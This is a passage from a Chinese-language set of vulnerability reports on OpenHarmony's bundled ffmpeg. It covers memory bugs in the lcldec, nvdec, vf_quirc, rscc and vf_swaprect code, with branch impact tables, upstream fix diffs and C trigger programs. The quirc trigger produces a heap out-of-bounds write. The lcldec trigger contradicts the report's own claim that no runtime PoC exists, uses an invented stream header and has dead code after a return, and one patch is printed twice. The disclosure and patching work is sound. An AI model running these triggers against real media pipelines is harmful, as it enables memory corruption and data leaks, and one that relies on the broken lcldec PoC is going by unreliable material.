分支判定（严格口径，仅计 branch_evidence） - v4.1: — not_affected（钉版联接：该分支基线版本早于引入） - v5.0: — not_affected（钉版联接：该分支基线版本早于引入） - v5.1: — not_affected（钉版联接：该分支基线版本早于引入） - v6.0: — not_affected（钉版联接：该分支基线版本早于引入） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 2 = 检出级 1 + 钉版联接 1；not_affected 4；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复（补丁见 `patches/ffmpeg_iamf_count_label_dos.patch`）

修复补丁（`patches/ffmpeg_iamf_count_label_dos.patch`）：

```
diff --git a/libavformat/iamf_parse.c b/libavformat/iamf_parse.c
index d74a8677d68d5..4c2df2c9e686d 100644
--- a/libavformat/iamf_parse.c
+++ b/libavformat/iamf_parse.c
@@ -1009,6 +1009,11 @@ static int mix_presentation_obu(void *s, IAMFContext *c, AVIOContext *pb, int l
e
     mix_presentation->cmix = mix;

     mix_presentation->count_label = ffio_read_leb(pbc);
+    if (mix_presentation->count_label > len - avio_tell(pbc)) {
+        mix_presentation->count_label = 0;
+        ret = AVERROR_INVALIDDATA;
+        goto fail;
+    }
     mix_presentation->language_label = av_calloc(mix_presentation->count_label,
                                                  sizeof(*mix_presentation->language_label));
     if (!mix_presentation->language_label) {
```

---

ffmpeg-lcldec-zlib-tail-disclosure

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavcodec/lcldec.c
关键行号	[121]
CVE 编号	CVE-2026-66038
CWE 分类	CWE-908

> 源码片段：见 `libavcodec/lcldec.c`（关键行号 [121]）。源码级证据记录：mszh_decomp returns without zeroing destptr..destptr_end (~line 121); zlib_decomp short-inflation path returns without zeroing decomp_buf tail (~lines 155-156); upstream diff applies clean to OH checkout (git apply --check pass 2026-09-22)

2. 漏洞详细描述

LCL/ZLIB video decoder leaves the not-decoded tail of decomp_buf uninitialized on short decompression and emits it as frame data: heap uninitialized-memory disclosure (CWE-908).

触发条件：本报告为源码级验证（L4 三侧对照；运行级观测需构造解压后短于 帧尺寸的 LCL/ZLIB 流，报告人未构造端到端样本，如实申报）： a) 上游对照：FFmpeg e7cbfd1c 在两处返回路径补 memset 清零 （diff 见附件）； b) OH 检出检查：lcldec.c 两处均为修复前形态（实测见附件 对照.txt）； c) 等价性：OH lcldec.c 与上游 n7.1.1 逐字节一致；官方受影响 清单含 7.1.1——结构性证据成立；上游修复 diff 对 OH 检出 git apply --check 直接通过。 如需运行级观测：构造 zlib 流使其膨胀输出小于帧期望尺寸， 以 MSAN 或显式 memset 标记观测输出帧中未初始化字节。

影响路径：前提条件：产品经 ffmpeg 解码攻击者可影响的 LCL/ZLIB 编码视频 （如媒体解析管线处理外部媒体文件/流）。攻击者提交解压后尺寸 不足的流即可使输出帧携带未初始化堆内容，实现信息泄露；无 内存破坏，属机密性影响。

四、PoC & Exploit：

无运行级 PoC（原因如上）；证据为三侧源码对照（上游已修 diff / OH 检出修复前形态逐行对应 / 官方受影响清单含基线版本），附件 `patches/ffmpeg_lcldec_zlib_tail_disclosure.patch` 为可直接应用的修复（git apply --check 通过）。

五、修复及缓解措施建议：

回移上游修复 e7cbfd1c：mszh_decomp 与 zlib_decomp 的短解出返回路径补 memset 尾部清零（`patches/ffmpeg_lcldec_zlib_tail_disclosure.patch` 即上游原文，对 OH 检出直接适用）。属低风险防御性修复，不改变正常解码行为。

3. PoC 源代码

```
/*
 * CVE-2026-66038 运行验证 PoC — lcldec 短解压尾部未清零（堆信息泄露）
 *
 * 缺陷：lcldec.c mszh_decomp/zlib_decomp 短解出时返回不清零尾部 → 下游读未初始化堆内容
 * 上游修复：FFmpeg e7cbfd1c (2026-06-28) 补齐 memset 尾部清零
 * 等价性：OH third_party_ffmpeg (0a0c4dd33c, 基线 n7.1.1) 与上游逐字节一致。
 *
 * 用法：./poc_lcldec trigger|control
 *   trigger：构造 MSZH 压缩流：输出声明大于实际解压量 → 尾部未清零 → ASan 检测读未初始化
 *   control：完整解压的 MSZH 流
 * 判读：ASan 原版 trigger ASan use-of-uninitialized-value (MSan) 或观察到泄露；补丁版 trigger 尾部已清零，无未初始化读；
 *       control 两版均正常（无回归）。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libavcodec/avcodec.h>
#include <libavutil/frame.h>
#include <libavutil/mem.h>



static int run_lcldec(const uint8_t *data, int size)
{
    const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_MSZH);
    if (!codec) { fprintf(stderr, "decoder not found\n"); return 1; }
    AVCodecContext *ctx = avcodec_alloc_context3(codec);
    if (!ctx) return 2;
    if (avcodec_open2(ctx, codec, NULL) < 0) return 3;

    AVPacket *pkt = av_packet_alloc();
    pkt->data = (uint8_t *)data;
    pkt->size = size;
    int ret = avcodec_send_packet(ctx, pkt);
    if (ret < 0 && ret != AVERROR(EAGAIN)) {
        fprintf(stderr, "send_packet: %s\n", av_err2str(ret));
    }
    AVFrame *frame = av_frame_alloc();
    while (avcodec_receive_frame(ctx, frame) >= 0) {
        fprintf(stdout, "decoded frame: %dx%d fmt=%d\n",
                frame->width, frame->height, frame->format);
        av_frame_unref(frame);
    }
    av_frame_free(&frame);
    av_packet_free(&pkt);
    avcodec_free_context(&ctx);
    return 0;
}

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "Usage: %s trigger|control\n", argv[0]); return 1; }
    int is_trigger = strcmp(argv[1], "trigger") == 0;

        /* MSZH header: magic 4 bytes, then compressed data that expands less than declared */
    uint8_t trigger_data[] = {
        'M', 'S', 'Z', 'H',   /* magic */
        0x01, 0x00, 0x00, 0x00, /* flags */
        0x00, 0x00, 0x00, 0x20, /* declared output size = 32 */
```

```
        0x01, 0x02, 0x03, 0x04, /* actual compressed data (expands to 4 bytes) */
        /* remaining 28 bytes of output buffer will be uninitialized */
    };
    uint8_t control_data[] = {
        'M', 'S', 'Z', 'H',
        0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x04, /* declared = actual = 4 */
        0x01, 0x02, 0x03, 0x04,
    };
    const uint8_t *data = is_trigger ? trigger_data : control_data;
    int size = is_trigger ? sizeof(trigger_data) : sizeof(control_data);
    return run_lcldec(data, size);

    fflush(stdout);
    fprintf(stderr, "=== %s: completed ===\n", is_trigger ? "trigger" : "control");
    return 0;
}
```

PoC 使用方法： 源级三侧对照（运行级需构造解压后短于帧尺寸的 LCL/ZLIB 流，如实申报）：a) 上游 e7cbfd1c 两处返回路径补 memset；b) OH lcldec.c 两处均为修复前形态；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1、diff git apply --check 通过。运行级路径：膨胀输出小于帧期望尺寸的 zlib 流，MSan 观测输出帧未初始化字节。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复 e7cbfd1c：mszh_decomp 与 zlib_decomp 的短解出返回路径补 memset 尾部清零（`patches/ffmpeg_lcldec_zlib_tail_disclosure.patch` 即上游原文，对 OH 检出直接适用）。属低风险防御性修复，不改变正常解码行为。

修复补丁（`patches/ffmpeg_lcldec_zlib_tail_disclosure.patch`）：

```
diff --git a/libavcodec/lcldec.c b/libavcodec/lcldec.c
--- a/libavcodec/lcldec.c
+++ b/libavcodec/lcldec.c
@@ -120,6 +120,9 @@ static unsigned int mszh_decomp(const unsigned char * srcptr, int srclen, unsign
         }
     }

+    if (destptr < destptr_end)
+        memset(destptr, 0, destptr_end - destptr);
+
     return destptr - destptr_bak;
 }

@@ -153,8 +156,11 @@ static int zlib_decomp(AVCodecContext *avctx, const uint8_t *src, int src_len, i
     if (expected != (unsigned int)zstream->total_out) {
         av_log(avctx, AV_LOG_ERROR, "Decoded size differs (%d != %lu)\n",
                expected, zstream->total_out);
-        if (expected > (unsigned int)zstream->total_out)
+        if (expected > (unsigned int)zstream->total_out) {
+            memset(c->decomp_buf + offset + zstream->total_out, 0,
+                   c->decomp_size - offset - zstream->total_out);
             return (unsigned int)zstream->total_out;
+        }
         return AVERROR_UNKNOWN;
     }
     return zstream->total_out;
```

补丁文件：`patches/ffmpeg_lcldec_zlib_tail_disclosure.patch`（内容同上）。

---

ffmpeg-nvdec-sep-ref-doublefree

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavcodec/nvdec.c
关键行号	616
CVE 编号	CVE-2026-64832
CWE 分类	CWE-415

> 源码片段：见 `libavcodec/nvdec.c`（关键行号 616）。源码级证据记录：OH ff_nvdec_start_frame_sep_ref (nvdec.c:599) keeps 'ret = AVERROR(ENOMEM); goto fail;' at the decoder_pool exhaustion branch and the trailing 'fail: nvdec_fdd_priv_free(cf); return ret;' block — exactly what upstream removed. Naming-era note: OH uses ff_refstruct_pool_get, upstream patch context shows av_refstruct_pool_get (same API after the ff_->av_ rename); structure equivalent

2. 漏洞详细描述

nvdec hardware decode: when decoder surfaces are exhausted inside ff_nvdec_start_frame_sep_ref, the error path frees the fdd-owned context that ff_nvdec_start_frame already handed to the frame — double free on a crafted video file

with NVDEC.

触发条件：crafted video driving NVDEC into the sep_ref pool-exhaustion error path

影响路径：NVIDIA 平台产品用 ffmpeg NVDEC 硬解且码流走独立参考帧路径：攻击者以 crafted 视频流耗尽 decoder surface 池命中 sep_ref 错误分支（nvdec.c:612-616 goto fail）→ fail 标签对已移交 FrameDecodeData 的 cf 二次释放（double free）。

3. PoC 源代码

> ⚠ 本案 PoC 为源码级对照验证，无可执行触发器（原因见下）

PoC 使用方法： 源级三侧对照（运行级需 NVIDIA GPU+NVDEC 环境，如实申报）：a) 上游 4c621747 修复 diff；b) OH nvdec.c:599 起 612-616/624-626 为修复前形态；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1。运行级路径：--enable-cuda-nvcc 构建下 H.265 多参考帧流 + 低 surfaces 配置耗尽池，ASan/Valgrind 观测 nvdec_fdd_priv_free double-free。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复（补丁见 `patches/ffmpeg_nvdec_sep_ref_doublefree.patch`）

修复补丁（`patches/ffmpeg_nvdec_sep_ref_doublefree.patch`）：

```
--- a/libavcodec/nvdec.c
+++ b/libavcodec/nvdec.c
@@ -614,8 +614,7 @@
             cf->ref_idx_ref = ff_refstruct_pool_get(ctx->decoder_pool);
             if (!cf->ref_idx_ref) {
                 av_log(avctx, AV_LOG_ERROR, "No decoder surfaces left\n");
-                ret = AVERROR(ENOMEM);
-                goto fail;
+                return AVERROR(ENOMEM);
             }
         }
         cf->ref_idx = *cf->ref_idx_ref;
@@ -625,9 +624,6 @@
     }

     return 0;
-fail:
-    nvdec_fdd_priv_free(cf);
-    return ret;
 }

 int ff_nvdec_end_frame(AVCodecContext *avctx)
```

---

ffmpeg-quirc-resize-oob

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavfilter/vf_quirc.c
关键行号	[102]
CVE 编号	CVE-2026-66041
CWE 分类	CWE-787

> 源码片段：见 `libavfilter/vf_quirc.c`（关键行号 [102]）。源码级证据记录：OH vf_quirc.c has quirc_resize only in config_input (initial size); filter_frame copies into the quirc buffer with no dimension-change check and QuircContext carries no width/height fields — the exact pre-fix structure upstream 4da9812 changed

2. 漏洞详细描述

vf_quirc filter: a crafted PGS/SUP subtitle whose later frames have dimensions differing from the configured input writes out of bounds of the quirc buffer allocated for the first frame's size (heap OOB write).

触发条件：feed a subtitle stream with mismatched frame dimensions through the quirc filter

影响路径：前提条件：产品/应用使用 ffmpeg 滤镜图且包含 quirc 滤镜（二维码 检测场景），且滤镜图存在使 quirc 输入 link 尺寸在配置后变化的路径 （动态协商半途、上游滤镜直改输出尺寸等）。攻击者可通过构造使帧尺寸序列递增的输入流驱动越界写；是否需要用户交互取决于应用 是否自动处理不可信输入。越界写内容为图像数据（可控度取决于 输入构造），上游评定特定条件下可利用于代码执行。

四、PoC & Exploit：

见附件 poc_quirc.c 与运行验证记录.md（2×3 结果矩阵：原版 linkgrow ASan 堆越界写 / 补丁版正常 / control 与 trigger 两侧均正常；环境 WSL2 Ubuntu 24.04、clang 18.1.3、ASan+UBSan、无网络无文件 I/O）。 本报告未构造代码执行利用，越界写原语与上游公告一致。

五、修复及缓解措施建议：

回移上游修复 4da9812e 至 master 及各 release 分支（已验证对 OH 代码结构 git apply 干净适用且无回归）：QuircContext 增加 widt

3. PoC 源代码

```
/*
 * CVE-2026-66041 运行验证 PoC — third_party/ffmpeg vf_quirc 堆越界写
 *
 * 等价性：OH third_party_ffmpeg(0a0c4dd33c) 的 libavfilter/vf_quirc.c
 * 与上游 n7.1.1 同文件逐字节一致（sha256 相同）；本 PoC 在上游
 * n7.1.1 构建上执行，结论直接代表 OH 组件。
 *
 * 触发原理：quirc 滤镜仅在 config_input 时按初始输入尺寸分配解码
 * 缓冲（quirc_resize）；后续帧尺寸变大时 filter_frame 不再检查，
 * av_image_copy_plane 将整帧拷入旧缓冲 → 堆越界写。
 *
 * 用法：./poc_quirc trigger|control|linkgrow
 *   trigger:  先 64x64 后 512x512 两帧 GRAY8（buffersrc 透传变尺寸帧，
 *             link 尺寸不变——验证该路径下滤镜行为）
 *   control:  两帧均 64x64（预期两侧构建均正常）
 *   linkgrow: 64x64 帧后，模拟"link 参数在 config_input 之后变化"
 *             （上游重协商半途/不规范上游滤镜子集会出现的现场——正是
 *             上游修复 4da9812 所防御的条件 quirc->width != inlink->w），
 *             将 link 尺寸改为 512x512 并推 512x512 帧。
 * 判读：ASan 下原版构建 linkgrow 模式报 heap-buffer-overflow（quirc
 *       缓冲仍为 64x64 而按 512x512 拷入，漏洞观测）；补丁版（上游
 *       4da9812e）linkgrow 正常（filter_frame 内先 resize 再拷贝）；
 *       control 模式两侧构建均正常（无回归）。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libavfilter/avfilter.h>
#include <libavfilter/buffersink.h>
#include <libavfilter/buffersrc.h>
#include <libavutil/frame.h>
#include <libavutil/opt.h>
#include <libavutil/pixfmt.h>

static int push_frame(AVFilterContext *src, int w, int h, int fill)
{
    AVFrame *f = av_frame_alloc();
    if (!f) return -1;
    f->format = AV_PIX_FMT_GRAY8;
    f->width = w;
    f->height = h;
    if (av_frame_get_buffer(f, 32) < 0) { av_frame_free(&f); return -1; }
    memset(f->data[0], fill, (size_t)f->linesize[0] * h);
    int ret = av_buffersrc_add_frame(src, f);
    av_frame_free(&f);
    return ret;
}

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "usage: %s trigger|control|linkgrow\n", argv[0]); return 2; }
    int trigger = !strcmp(argv[1], "trigger");
    int linkgrow = !strcmp(argv[1], "linkgrow");
     if (!trigger && !linkgrow && strcmp(argv[1], "control")) { fprintf(stderr, "bad mode\n"); return
2; }

    char graph[256];
    snprintf(graph, sizeof graph,
             "buffer=video_size=64x64:pix_fmt=gray8:time_base=1/25,"
             "quirc,buffersink");
```

```
    AVFilterGraph *g = avfilter_graph_alloc();
    AVFilterInOut *in = NULL, *out = NULL;
    if (avfilter_graph_parse_ptr(g, graph, &in, &out, NULL) < 0) {
        fprintf(stderr, "FAIL: graph parse\n"); return 2;
    }
    if (avfilter_graph_config(g, NULL) < 0) {
        fprintf(stderr, "FAIL: graph config\n"); return 2;
    }
    AVFilterContext *src = NULL, *sinkc = NULL;
    for (unsigned i = 0; i < g->nb_filters && !(src && sinkc); i++) {
        const char *n = g->filters[i]->filter->name;
        if (!src && !strcmp(n, "buffer")) src = g->filters[i];
        else if (!sinkc && !strcmp(n, "buffersink")) sinkc = g->filters[i];
    }
    if (!src || !sinkc) { fprintf(stderr, "FAIL: buffersrc/sink not found\n"); return 2; }

    /* 帧 1：声明尺寸 64x64（config_input 按此分配 quirc 缓冲） */
    int r1 = push_frame(src, 64, 64, 0x80);

    /* 帧 1 先排空（确保其 filter_frame 在旧 link 尺寸下完成） */
    AVFrame *drain = av_frame_alloc();
    while (av_buffersink_get_frame(sinkc, drain) >= 0) av_frame_unref(drain);
    av_frame_free(&drain);

    /* 帧 2 */
    int r2;
    if (linkgrow) {
        /* 模拟 link 尺寸在 config_input 之后变化（上游修复防御的场景） */
        src->outputs[0]->w = 512;
        src->outputs[0]->h = 512;
        r2 = push_frame(src, 512, 512, 0xC0);
    } else if (trigger) {
        r2 = push_frame(src, 512, 512, 0xC0);
    } else {
        r2 = push_frame(src, 64, 64, 0xC0);
    }

    /* 排空 sink */
    AVFrame *sink = av_frame_alloc();
    int pulled = 0, ret;
    while ((ret = av_buffersink_get_frame(sinkc, sink)) >= 0) {
        pulled++;
        av_frame_unref(sink);
    }
    av_frame_free(&sink);

    printf("CASE_DONE mode=%s push1=%d push2=%d pulled=%d\n",
           linkgrow ? "linkgrow" : (trigger ? "trigger" : "control"),
           r1, r2, pulled);

    avfilter_inout_free(&in);
    avfilter_inout_free(&out);
    avfilter_graph_free(&g);
    return 0;
}
```

PoC 使用方法： 运行级（ASan）：./poc_orig linkgrow：buffer(gray8 64x64)→quirc→buffersink，第 1 帧排空后将 link 尺寸置 512x512（模拟重协商半途/上游直改 link），再推 512x512 帧 → ASan heap-buffer-overflow WRITE 512（quirc_resize 分配的 4096 字节缓冲末尾，写点 vf_quirc.c:102）；git apply upstream_fix_4da9812.diff 重建 → CASE_DONE；control 与 trigger-不变-link 对照两侧正常。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: — not_affected（钉版联接：该分支基线版本早于引入） - v5.0: — not_affected（钉版联接：该分支基线版本早于引入） - v5.1: — not_affected（钉版联接：该分支基线版本早于引入） - v6.0: — not_affected（钉版联接：该分支基线版本早于引入） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 2 = 检出级 1 + 钉版联接 1；not_affected 4；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: — 预测不受影响（上游范围不含该基线） - [预测] v5.0: — 预测不受影响（上游范围不含该基线） - [预测] v5.1: — 预测不受影响（上游范围不含该基线） - [预测] v6.0: — 预测不受影响（上游范围不含该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复 4da9812e 至 master 及各 release 分支（已验证对 OH 代码结构 git apply 干净适用且无回归）：QuircContext 增加 width/height 字段记录配置尺寸；config_input 写入记录；filter_frame 比较当前 link 尺寸不一致时先 quirc_resize 再拷贝。临时缓解：避免在包含 quirc 的滤镜图中使用会改变链路尺寸的动态路径；对不可信输入 的滤镜处理置于资源受限环境。

修复补丁（`upstream_fix_4da9812.diff`）：

```
diff --git a/libavfilter/vf_quirc.c b/libavfilter/vf_quirc.c
index 59dc84caa8d4c..d2ba48e7bcbad 100644
--- a/libavfilter/vf_quirc.c
+++ b/libavfilter/vf_quirc.c
@@ -36,6 +36,7 @@ typedef struct QuircContext {
     const AVClass *class;

     struct quirc *quirc;
+    int width, height;
 } QuircContext;

 static av_cold int init(AVFilterContext *ctx)
@@ -67,6 +68,8 @@ static int config_input(AVFilterLink *inlink)
     if (err == -1) {
         return AVERROR(ENOMEM);
     }
+    quirc->width  = inlink->w;
+    quirc->height = inlink->h;

     return 0;
 }
@@ -80,6 +83,15 @@ static int filter_frame(AVFilterLink *inlink, AVFrame *frame)
     int codes_count;
     uint8_t *image;

+    if (quirc->width != inlink->w || quirc->height != inlink->h) {
+        if (quirc_resize(quirc->quirc, inlink->w, inlink->h) < 0) {
+            av_frame_free(&frame);
+            return AVERROR(ENOMEM);
+        }
+        quirc->width  = inlink->w;
+        quirc->height = inlink->h;
+    }
+
     /* copy input image to quirc buffer */
     image = quirc_begin(quirc->quirc, NULL, NULL);
     av_image_copy_plane(image, inlink->w,
```

补丁文件：`patches/ffmpeg_quirc_resize_oob.patch`（内容同上）。

---

ffmpeg-rscc-short-deflate-uninit-leak

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	—
关键行号	—
CVE 编号	CVE-2026-70629
CWE 分类	CWE-908

> 源码片段：见 `-`（关键行号 —）。源码级证据记录：rscc.c deflate branch has no 'len < pixel_size' zero-fill

> (grep zero hits); both upstream fix diffs apply clean

2. 漏洞详细描述

RSCC screen-capture decoder: when the deflate output is shorter than the frame needs, the un-filled tail of inflated_buf is emitted as frame data — uninitialized heap disclosure.

触发条件：RSCC 流 zlib 分支解压输出短于帧需求（len < pixel_size）：rscc.c 无尾部清零，帧尾保持未初始化（上游 cd1f545c/a5fe21a1 以 memset 补零修复）。

影响路径：产品用 ffmpeg 解码不可信屏幕捕获视频（远程支持/录屏处理场景）：攻击者提供短 deflate 输出的构造 RSCC 流 → 解码帧尾泄露未初始化堆内存。

3. PoC 源代码

> ⚠ 本案 PoC 为源码级对照验证，无可执行触发器（原因见下）

PoC 使用方法： 源级三侧对照： a) 上游 cd1f545c/a5fe21a1 修复（上游样本名 rscc_short_deflate_heap_disclosure）；b) OH rscc.c deflate 分支无 len<pixel_size 清零；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1、diff git apply --check 通过。运行级路径：合法但短的 deflate 输出，MSan 观测 uninit 或对比零填充差分。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复（补丁见 `patches/ffmpeg_rscc_short_deflate_uninit_leak.patch`）

修复补丁（`patches/ffmpeg_rscc_short_deflate_uninit_leak.patch`）：

```
diff --git a/libavcodec/rscc.c b/libavcodec/rscc.c
index 3715e1c6d42a8..5fde30ec35070 100644
--- a/libavcodec/rscc.c
+++ b/libavcodec/rscc.c
@@ -311,6 +311,12 @@ static int rscc_decode_frame(AVCodecContext *avctx, AVFrame *frame,
             ret = AVERROR_UNKNOWN;
             goto end;
         }
+        if (len < pixel_size) {
+            av_log(avctx, AV_LOG_WARNING, "Deflated %lu bytes, but %d are needed\n",
+                   len, pixel_size);
+            memset(ctx->inflated_buf + len, 0, pixel_size - len);
+            pixel_size = len;
+        }
         pixels = ctx->inflated_buf;
     }

diff --git a/libavcodec/rscc.c b/libavcodec/rscc.c
index 3715e1c6d42a8..5fde30ec35070 100644
--- a/libavcodec/rscc.c
+++ b/libavcodec/rscc.c
@@ -311,6 +311,12 @@ static int rscc_decode_frame(AVCodecContext *avctx, AVFrame *frame,
             ret = AVERROR_UNKNOWN;
             goto end;
         }
+        if (len < pixel_size) {
+            av_log(avctx, AV_LOG_WARNING, "Deflated %lu bytes, but %d are needed\n",
+                   len, pixel_size);
+            memset(ctx->inflated_buf + len, 0, pixel_size - len);
+            pixel_size = len;
+        }
         pixels = ctx->inflated_buf;
     }
```

---

ffmpeg-swaprect-temp-row-oob

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavfilter/vf_swaprect.c
关键行号	[223]
CVE 编号	CVE-2026-65706
CWE 分类	CWE-787

> 源码片段：见 `libavfilter/vf_swaprect.c`（关键行号 [223]）。源码级证据记录：vf_swaprect.c:223 allocates the temp row buffer as av_malloc_array(inlink->w, pixsteps[0]) — plane 0's step only; upstream fix sizes it across all planes (width<<shift * pixstep max, with INT_MAX check). Applies clean

2. 漏洞详细描述

Row-swap temp buffer is sized for plane 0 only; formats where another plane's width*pixstep exceeds it (e.g. NV12 with odd widths, per the upstream repro) overrun the buffer during row exchange.

触发条件：本报告为源码级验证（同族运行级证据见 CVE-2026-66036/66041）： a) 上游对照：a7e38b61 为该缺陷修复（diff 见附件，复现样本 7aj_swaprect_odd17_nv12.nut——NV12 奇数 17 宽）； b) OH 检出检查：vf_swaprect.c:223 仍为首平面单因子分配 （修复前形态在位）； c) 等价性：OH 文件与上游 n7.1.1 逐字节一致；官方受影响清单 含 7.1.1——结构性证据成立；上游修复 diff 对 OH 检出 git apply --check 直接通过。 如需运行级复现：按上游样本构造（NV12 格式、奇数宽度、swaprect 参数覆盖色度平面区域），ASan 下观测行交换路径的 heap-buffer-overflow。

影响路径：前提条件：产品/应用使用 ffmpeg 滤镜图包含 swaprect 且输入为 满足"非首平面宽度×步长超过首平面"条件的格式与尺寸组合（NV12 奇宽为代表）。攻击者构造相应媒体流驱动行交换越界写；应用自动 处理不可信输入时无需用户交互。越界写内容为像素数据。

四、PoC & Exploit：

无运行级 PoC（上游复现样本名已在修复 commit 标注，可按其构造）； 证据为三侧源码对照，`patches/ffmpeg_swaprect_temp_row_oob.patch` 为可直接应用的修复。

五、修复及缓解措施建议：

